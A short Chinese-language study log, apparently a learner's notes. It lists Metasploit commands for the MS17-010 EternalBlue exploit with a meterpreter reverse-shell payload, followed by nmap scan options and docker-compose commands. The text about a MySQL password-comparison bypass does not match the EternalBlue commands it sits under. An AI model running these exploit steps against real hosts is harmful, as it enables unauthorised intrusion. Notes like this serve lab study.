今日学习内容
1.学习了msf攻击扫描指令：
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info #使用info查看模块信息 set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.100.158 #设置参数
exploit / run #攻击 后渗透阶段 #后渗透阶段
通过该实验可以学习当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。
2.学习关于nmap扫描主机端口信息：
nmap -A 域名 强力扫描 --- 可以扫描的主机的信息（开放的端口，主机信息等）
nmap -sV 域名 对端口上的服务程序版本进行扫描
nmap -P0 禁ping的情况下使用nmap扫描
3.关于docker指令
docker-compose up -d 启动容器
docker-compose build 创建镜像
docker-compose down 关闭容器
